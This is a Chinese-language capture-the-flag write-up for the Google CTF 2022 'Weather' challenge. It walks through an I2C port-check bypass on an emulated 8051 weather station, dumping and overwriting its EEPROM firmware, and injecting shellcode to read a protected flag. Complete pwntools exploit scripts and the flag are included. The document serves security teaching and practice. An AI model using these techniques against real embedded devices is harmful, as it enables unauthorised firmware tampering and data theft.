题目为采用8051模拟器运行的交互式程序,交互命令可以读写I2C总线设备。漏洞点为其对I2C总线设备号校验不严格,导致可以通过交互式命令行读写到挂接在I2C总线上的,并存储着8051程序代码的EEPROM。而flag位于8051可以访问的特殊寄存器中,因此通过对EEPROM的非法写即可写入shellcode并完成控制流劫持。不过由于EEPROM物理特性,通过I2C总线对其写入只能按bit将1写为0,但这现象似乎违背EEPROM可重复擦写的特征,其实其擦写的方法为通过对其引脚的一系列电平操作,使得整块EEPROM全部bit归1,然后按bit将1写0,这个操作在现实中一般使用编程器对EEPROM单独操作,在8051的shellcode中无法完成,本模拟器也将本物理特性如实模拟。因此对于本题中控制流劫持的位置以及shellcode写入位置都有额外的限制,需要针对题目固件选择特定的位置进行写入。
- 题目附件:weather.zip
- 环境源码:google-ctf/2022/quals/hardware-weather/
- CTFTIME:Google Capture The Flag 2022 / Tasks / Weather
参考WP:
- GoogleCTF2022: PWN掉一款8051气象站
- erdnaxe’s blog: Write-up Weather (GoogleCTF 2022)
- YavaCoco: GoogleCTF 2022 - Hardware - Weather writeup
- Super Guesser: Google Capture The Flag 2022 - weather
- kusano_k: Google CTF 2022 writeup
- project-kaat: googleCTF2022 Weather
- szymex73: Weather
硬件
通过阅读pdf可以知道硬件结构:
- I2C总线上挂着5个传感器
- 可以通过串口进行输入输出
- 主存储器型号为CTF-55930D,SPI接口的EEPROM,大小为4096字节
- flag存储在FlagROM上
其中比较可疑的是这个EEPROM支持I2C接口,那他到底有没有挂在8051的I2C控制器上呢?
软件
软件上给的代码只有firmware.c,不过8051的C代码,还是有以下方面需要说明
源码
8051的C代码里有两个语法比较奇怪,分别是:
__sfr __at()
__xdata
特殊功能寄存器
其一为__sfr
:
- 特殊功能寄存器(SFR)详解 ——以8051单片机为例
- sdcc man阅读笔记(四)——存储类型关键字
- 使用免费的SDCC C编译器开发DS89C430/450系列微控制器固件
- MMCN 伺服与控制专题
这似乎是外设IO的控制方法,即读写特定寄存器访问IO,类似x86的in/out端口:
// Secret ROM controller.
__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;
// Serial controller.
__sfr __at(0xf2) SERIAL_OUT_DATA;
__sfr __at(0xf3) SERIAL_OUT_READY;
__sfr __at(0xfa) SERIAL_IN_DATA;
__sfr __at(0xfb) SERIAL_IN_READY;
// I2C DMA controller.
__sfr __at(0xe1) I2C_STATUS;
__sfr __at(0xe2) I2C_BUFFER_XRAM_LOW;
__sfr __at(0xe3) I2C_BUFFER_XRAM_HIGH;
__sfr __at(0xe4) I2C_BUFFER_SIZE;
__sfr __at(0xe6) I2C_ADDRESS; // 7-bit address
__sfr __at(0xe7) I2C_READ_WRITE;
// Power controller.
__sfr __at(0xff) POWEROFF;
__sfr __at(0xfe) POWERSAVE;
使用的时候也就是对目标寄存器进行读写,比如串口:
void serial_print(const char *s) {
while (*s) {
while (!SERIAL_OUT_READY) {
// Busy wait...
}
SERIAL_OUT_DATA = *s++;
}
}
char serial_read_char(void) {
while (1) {
if (SERIAL_IN_READY) {
return (char)SERIAL_IN_DATA;
}
POWERSAVE = 1; // Enter power save mode for a few milliseconds.
}
}
并且可见存储flag的内部ROM的读取也是通过sfr:
__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;
因此最后读取flag的方法,应该就是向FLAGROM_ADDR写入读取flag的偏移,然后从FLAGROM_DATA逐个字节读出flag,大概逻辑如下:
char flag[256] = {0} ;
for(int i=0; i<255; i++){
FLAGROM_ADDR = i;
flag[i] = FLAGROM_DATA;
}
结合串口输出的逻辑:
char a;
for(int i=0; i<255; i++){
FLAGROM_ADDR = i;
a = FLAGROM_DATA;
SERIAL_OUT_DATA = a;
}
8051内存类型
还有一个是__xdata
关键字:
- 8051 内存类型
- 8051 扩展内存
- 8051存储区布局
- sdcc man阅读笔记(四)——存储类型关键字
- CC254x 中 data、idata、xdata 和 pdata 区别以及堆 Heap 内存布局
其实就是内部RAM太小,只有128字节,而需要使用的buffer较大,有384字节,所以使用__xdata
关键字将其放到较大的外部RAM上:
#define CMD_BUF_SZ 384
#define I2C_BUF_SZ 128
int main(void) {
serial_print("Weather Station\n");
static __xdata char cmd[CMD_BUF_SZ];
static __xdata uint8_t i2c_buf[I2C_BUF_SZ];
编译
找到编译工具:SDCC - Small Device C Compiler,还直接提供MAC版的二进制,尝试编译题目代码还真成功了:
➜ ls
Device Datasheet Snippets.pdf firmware.c
➜ ../sdcc/bin/sdcc ./firmware.c
➜ ls
Device Datasheet Snippets.pdf firmware.lk firmware.rel
firmware.asm firmware.lst firmware.rst
firmware.c firmware.map firmware.sym
firmware.ihx firmware.mem
虽然没编译出ELF,但其中:
- firmware.ihx: 可在IDA中进行逆向
- firmware.map: 固件代码函数符号表
- firmware.rst: 源码与汇编对应关系
而且其实__sfr __at()
是就是SDCC特有语法,keil里定义SFR寄存器的语法是:
sfr P0 = 0x80;
sfr P1 = 0x90;
逆向
通过对ihx逆向以及汇编,了解8051的机器码以及内存布局,也可以对特殊功能寄存器有更深刻的理解。在IDA的segments窗口中可以看到其识别出三段:
- code段比较大
- RAM和FSR(SFR,特殊功能寄存器)都只有128字节
- 其实FSR也可以不看成内存,就看成寄存器就行了
对比IDA解析ihx的结果与firmware.rst可以确定0x3地址处的跳转就是跳向main函数,即IE0_0就是main函数:
在main函数中可以看到0x916指向的内存就是字符串Weather Station
,因此code_123函数就是串口输出函数serial_print
,并且通过这两句汇编与其对应的机器码可见,8051的汇编使用绝对地址是很常见的,对于没有什么地址随机化的内存,这无疑对shellcode是极好的:
- 12 01 23: lcall code_123:
- 90 09 16: mov DPTR, #0x916
我们关注一下SFR(特殊功能寄存器),因为在serial_print中最终通过__sfr __at(0xf2) SERIAL_OUT_DATA
将数据输出:
__sfr __at(0xf2) SERIAL_OUT_DATA;
void serial_print(const char *s) {
while (*s) {
while (!SERIAL_OUT_READY) {
// Busy wait...
}
SERIAL_OUT_DATA = *s++;
}
}
我们来关注一下这段最终的汇编,如下,通过对0xf2特征的定位,可以确定 0xf5 0xf2: MOV CML6,A
这句为向0xf2这个特殊功能寄存器写入,其值由A寄存器传递:
更多8051二进制相关可以参考:
交互
通过阅读源码以及直接与服务器进行交互测试,可以了解其交互功能为读写I2C设备,读写命令分别为:
- 读:
r I2C_port size
- 写:
w I2C_port size byte byte byte byte ...
例如读温度传感器:
➜ nc weather.2022.ctfcompetition.com 1337
== proof-of-work: disabled ==
Weather Station
? r 101 8
i2c status: transaction completed / ready
22 22 21 35 0 0 0 0
-end
写温度传感器,不过因为是传感器,应该是只读的,所以写入失败:
? w 101 8 1 1 1 1 1 1 1 1
i2c status: transaction completed / ready
? r 101 8
i2c status: transaction completed / ready
22 22 21 35 0 0 0 0
漏洞
可以在源码中发现,对于I2C的port是有函数进行检查的,仔细审计发现这个检查有个bug,即端口前缀匹配即可跳出检查循环,例如101端口是允许的,则101221端口也可以通过此函数的检查:
bool is_port_allowed(const char *port) {
for(const char **allowed = ALLOWED_I2C; *allowed; allowed++) {
const char *pa = *allowed;
const char *pb = port;
bool allowed = true;
while (*pa && *pb) {
if (*pa++ != *pb++) {
allowed = false;
break;
}
}
if (allowed && *pa == '\0') {
return true;
}
}
return false;
}
然后经过检查的字符串通过str_to_uint8
函数转换为一个单字节数,可以看成对这个数进行模256的操作:
uint8_t str_to_uint8(const char *s) {
uint8_t v = 0;
while (*s) {
uint8_t digit = *s++ - '0';
if (digit >= 10) {
return 0;
}
v = v * 10 + digit;
}
return v;
}
仍然以101221为例,那么转换完为101221 % 256还是101,和远程进行测试,可见101221和101的效果是一样的,因此应该可以使用这个方法访问到所有的I2C设备:
➜ nc weather.2022.ctfcompetition.com 1337
== proof-of-work: disabled ==
Weather Station
? r 101 8
i2c status: transaction completed / ready
22 22 21 35 0 0 0 0
-end
? r 101221 8
i2c status: transaction completed / ready
22 22 21 35 0 0 0 0
-end
另外为了方便,我们也可以找到以101开头并且%256为0的数:101120,然后从此数开始递增进行端口爆破扫描:
>>> 101000 % 256
136
>>> 101000 + (256 - 136)
101120
>>> 101120 % 256
0
>>> 101120 + 101
101221
利用
能读写所有I2C设备又能怎样呢?如果EEPROM也可以通过I2C访问呢?那岂不是可以修改固件代码进行控制流劫持了!
扫描I2C设备
代码中的I2C端口是个单字节整数,因此最多只有256个端口,不过I2C总线最大支持的设备是128个:
所以爆破扫描可以只循环128次:
from pwn import *
'''
>>> 101000 % 256
136
>>> 101000 + (256 - 136)
101120
>>> 101120 % 256
0
'''
def scan():
io = remote("weather.2022.ctfcompetition.com",1337)
for i in range(128):
test = 101120 + i
io.sendlineafter(b'?',("r %s 4" % test).encode())
a = io.recvuntil(b"?")
if b'device not found' not in a:
print("[+] %s: %s " % (str(test),str(i)))
print(a)
scan()
发现通过101153绕过检查实际为33号的I2C port可以访问:
➜ python3 exp.py
[+] Opening connection to weather.2022.ctfcompetition.com on port 1337: Done
[+] 101153: 33
b' i2c status: transaction completed / ready\n2 0 6 2 \n-end\n?'
[+] 101221: 101
b' i2c status: transaction completed / ready\n22 22 21 35 \n-end\n?'
[+] 101228: 108
b' i2c status: transaction completed / ready\n3 249 0 0 \n-end\n?'
[+] 101230: 110
b' i2c status: transaction completed / ready\n78 0 0 0 \n-end\n?'
[+] 101231: 111
b' i2c status: transaction completed / ready\n81 0 0 0 \n-end\n?'
[+] 101239: 119
b' i2c status: transaction completed / ready\n37 0 0 0 \n-end\n?'
尝试读取,通过逆向自己编译的ihx对比可以确定这就是8051的二进制:
➜ nc weather.2022.ctfcompetition.com 1337
== proof-of-work: disabled ==
Weather Station
? r 101153 64
i2c status: transaction completed / ready
2 0 6 2 4 228 117 129 48 18 8 134 229 130 96 3
2 0 3 121 0 233 68 0 96 27 122 0 144 10 2 120
1 117 160 2 228 147 242 163 8 184 0 2 5 160 217 244
218 242 117 160 255 228 120 255 246 216 253 120 0 232 68 0
即EEPROM也确实挂接到8051的I2C控制器上了,因此我们可以尝试读写EEPROM!
读EEPROM
不过通过r命令最多一次只能读64字节,根据硬件手册这应该是EEPROM的一页,目标EEPROM总共64页,所以需要切换页,通过尝试发现,切换页的方式为通过w命令:
w 101153 1 page
例如首先读第0页的前四字节:
➜ nc weather.2022.ctfcompetition.com 1337
? w 101153 1 0
i2c status: transaction completed / ready
? r 101153 4
i2c status: transaction completed / ready
2 0 6 2
-end
然后切换为第1页,读前四字节,可读到与之前不同的结果:
? w 101153 1 1
i2c status: transaction completed / ready
? r 101153 4
i2c status: transaction completed / ready
96 10 121 1
利用此方法,并将读取到的数值转换为对应字节,即可dump远程的固件:
from pwn import *
def dump():
f = open('firmware.bin','wb')
io = remote("weather.2022.ctfcompetition.com",1337)
for i in range(64):
print("[+] page: %s" % str(i))
io.sendlineafter(b'?',("w 101153 1 %s" % str(i)).encode())
io.sendlineafter(b'?',b"r 101153 64")
a = io.recvuntil(b"?")[43:-8]
a = a.replace(b"\n",b" ")
a = a.decode('utf-8').split(' ')
print(a)
assert(len(a)==64)
for j in a:
f.write(int(j,10).to_bytes(1,'little'))
dump()
然后使用IDA解析固件,由于没有ihx中的地址信息,需要手动指定指令集为8051,加载地址为0地址,最终得到的结果与IDA解析本地编译的ihx基本一致。
写EEPROM
他这个EEPROM的写就非常的麻烦了,因为他这个模拟的非常真实,把真实EEPROM的物理特性也如实模拟了。即对其写入只能按bit将1写为0,已经被写成0bit的就回不去了。在现实中需要对EEPROM的引脚进行一系列电平操作,即可使其全部bit归1。不过整个固件从0xa02-0xfff地址处全为0xff,因此这段空间可以写入任意数据,也是写入shellcode的最佳位置:
其写入的命令也有些麻烦,首先在数据之前需要加上4ByteWriteKey A5 5A A5 5A,十进制为165 90 165 90。另外根据手册,写入的bit为ClearMask
,是清0。例如想写入0,则需要把原来的0xff的8个bit全部清零,即11111111,所以写入的数据是目标数据取反,也可以看成255减目标数据。而且经过尝试,在命令行中需要填入十进制,例如255,不能填写如11111111的二进制字符串(ClearMask的误导),最终命令如下:
w 101153 size page 165 90 165 90 (255-byte) (255-byte) (255-byte) ...
例如将0xb00(0xb00 // 64 = 44)地址的0xff 0xff 0xff 0xff 写为 11 22 33 44 :
size可以一直写大一点,例如100:
➜ nc weather.2022.ctfcompetition.com 1337
== proof-of-work: disabled ==
Weather Station
? w 101153 1 44
i2c status: transaction completed / ready
? r 101153 4
i2c status: transaction completed / ready
255 255 255 255
? w 101153 100 44 165 90 165 90 244 233 222 211
i2c status: transaction completed / ready
? r 101153 4
i2c status: transaction completed / ready
11 22 33 44
控制流劫持
由于shellcode未来将会放在0xa02-0xfff之间,所以我们需要在可运行到代码中patch出一句跳转进行控制流劫持,通过逆向可以发现主要有两种绝对地址的跳转:
- 02 xx xx: ljmp
- 12 xx xx: lcall
结合shellcode的地址,最终的跳转应为:
- 02 0[a-f] xx: ljmp
- 12 0[a-f] xx: lcall
并且根据写入只能讲1bit写成0bit的约束,找了好久,最终决定在打印命令行提示符问号的这里进行patch,23可以patch成02,7E可以patch成0E,即可完成长跳转到0xe00:
8051的nop为0x00,所以可以将开头的12 01清成两个nop:
12 01 23 7E -> 00 00 02 0E
因此首先在0xe00处写好shellcode,然后patch这句进行控制流劫持即可
shellcode
shellcode基本就是设置FLAGROM_ADDR然后读取FLAGROM_DATA,并输出到SERIAL_OUT_DATA,可以使用C进行编译然后扣出shellcode:
__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;
__sfr __at(0xf2) SERIAL_OUT_DATA;
void main(void) {
for(int i=0; i<255; i++){
FLAGROM_ADDR = i;
SERIAL_OUT_DATA = FLAGROM_DATA;
}
}
➜ ../sdcc/bin/sdcc ./test.c
因为操作很简单,也可以直接写汇编:
__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;
__sfr __at(0xf2) SERIAL_OUT_DATA;
void main(void) {
__asm
mov A, #0
mov _FLAGROM_ADDR, A
mov A, _FLAGROM_DATA
mov _SERIAL_OUT_DATA, A
__endasm;
}
➜ ../sdcc/bin/sdcc ./test.c
所以也可以直接对着汇编写机器码:
为了shellcode简单,开始没用循环,直接使用立即数给FLAGROM_ADDR赋值,这样使得一页64个字节能容纳的shellcode只能进行8次打印,因此在整个交互外面加了个循环,交互五次可以完成打印出flag:
from pwn import *
'''
__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;
'''
flag = ''
for k in range(5):
io = remote("weather.2022.ctfcompetition.com",1337)
shellcode = []
for j in range(k*8,(k+1)*8,1):
shellcode += [0x74, j] # mov A, j
shellcode += [0xf5, 0xee] # mov FLAGROM_ADDR, A
shellcode += [0xe5, 0xef] # mov A,FLAGROM_DATA
shellcode += [0xf5, 0xf2] # mov CML6, A
s = ''
for i in shellcode:
s += str(255 - i) + ' '
print(s)
# write shellcode to 0x0e00 (0x0e00 // 64 = 56)
io.sendlineafter(b"?",b'w 101153 100 56 165 90 165 90 ' + s.encode())
# patch 0x4F3 (0x4F3 // 64 = 19 , 0x4F3 % 64 = 51):
# 12 01 23 7e -> 00 00 02 0e
io.sendlineafter(b"?",b'w 101153 100 19 165 90 165 90 ' + b'0 '* 51 + b'255 255 253 241')
io.recvline()
flag += io.recvuntil(b'Station').decode('utf-8')[:8]
io.close()
print(flag)
# CTF{DoesAnyoneEvenReadFlagsAnymore?}
完整exp
完整exp如下:
from pwn import *
'''
>>> 101000 % 256
136
>>> 101000 + (256 - 136)
101120
>>> 101120 % 256
0
'''
def scan():
io = remote("weather.2022.ctfcompetition.com",1337)
io.recvuntil(b"?")
for i in range(128):
test = 101120 + i
io.sendline(("r %s 4" % test).encode())
a = io.recvuntil(b"?")
if b'device not found' not in a:
print("[+] %s: %s " % (str(test),str(i)))
print(a)
#scan()
'''
➜ python3 exp.py
[+] Opening connection to weather.2022.ctfcompetition.com on port 1337: Done
[+] 101153: 33
b' i2c status: transaction completed / ready\n2 0 6 2 \n-end\n?'
[+] 101221: 101
b' i2c status: transaction completed / ready\n22 22 21 35 \n-end\n?'
[+] 101228: 108
b' i2c status: transaction completed / ready\n3 249 0 0 \n-end\n?'
[+] 101230: 110
b' i2c status: transaction completed / ready\n78 0 0 0 \n-end\n?'
[+] 101231: 111
b' i2c status: transaction completed / ready\n81 0 0 0 \n-end\n?'
[+] 101239: 119
b' i2c status: transaction completed / ready\n37 0 0 0 \n-end\n?'
'''
def dump():
f = open('firmware.bin','wb')
io = remote("weather.2022.ctfcompetition.com",1337)
io.recvuntil(b"?")
for i in range(64):
print("[+] page: %s" % str(i))
io.sendline(("w 101153 1 %s" % str(i)).encode())
io.sendlineafter(b'?',b"r 101153 64")
a = io.recvuntil(b"?")[43:-8]
a = a.replace(b"\n",b" ")
a = a.decode('utf-8').split(' ')
print(a)
assert(len(a)==64)
for j in a:
f.write(int(j,10).to_bytes(1,'little'))
#dump()
'''
__sfr __at(0xee) FLAGROM_ADDR;
__sfr __at(0xef) FLAGROM_DATA;
'''
flag = ''
for k in range(5):
io = remote("weather.2022.ctfcompetition.com",1337)
shellcode = []
for j in range(k*8,(k+1)*8,1):
shellcode += [0x74, j] # mov A, j
shellcode += [0xf5, 0xee] # mov FLAGROM_ADDR, A
shellcode += [0xe5, 0xef] # mov A,FLAGROM_DATA
shellcode += [0xf5, 0xf2] # mov CML6, A
s = ''
for i in shellcode:
s += str(255 - i) + ' '
print(s)
# write shellcode to 0x0e00 (0x0e00 // 64 = 56)
io.sendlineafter(b"?",b'w 101153 100 56 165 90 165 90 ' + s.encode())
# patch 0x4F3 (0x4F3 // 64 = 19 , 0x4F3 % 64 = 51):
# 12 01 23 7e -> 00 00 02 0e
io.sendlineafter(b"?",b'w 101153 100 19 165 90 165 90 ' + b'0 '* 51 + b'255 255 253 241')
io.recvline()
flag += io.recvuntil(b'Station').decode('utf-8')[:8]
io.close()
print(flag)
# CTF{DoesAnyoneEvenReadFlagsAnymore?}
优化
在shellcode使用循环,即可一次打印出完整flag:
from pwn import *
io = remote("weather.2022.ctfcompetition.com",1337)
shellcode = []
shellcode += [0x7f, 0x00] # MOV R7, 0
shellcode += [0xef, 0x00] # MOV A, R7
shellcode += [0xf5, 0xee] # MOV FLAGROM_ADDR (0xEE), A
shellcode += [0xe5, 0xef] # MOV A, FLAGROM_DATA (0xEF)
shellcode += [0xf5, 0xf2] # MOV CML6, A
shellcode += [0x0f] # INC R7
shellcode += [0x02, 0x0e, 0x02] # JMP 0x0e02
payload = ''
for i in shellcode:
payload += str(255 - i) + ' '
print(payload)
# write shellcode to 0x0e00 (0x0e00 // 64 = 56)
io.sendlineafter(b"?",b'w 101153 100 56 165 90 165 90 ' + payload.encode())
# patch 0x4F3 (0x4F3 // 64 = 19 , 0x4F3 % 64 = 51): 12 01 23 7e -> 00 00 02 0e
# payload: 255-0 255-0 255-2 255-0xe -> 255 255 253 241
io.sendlineafter(b"?",b'w 101153 100 19 165 90 165 90 ' + b'0 '* 51 + b'255 255 253 241')
a = io.recvline()
a = io.recvline()
print(a.decode('utf-8'))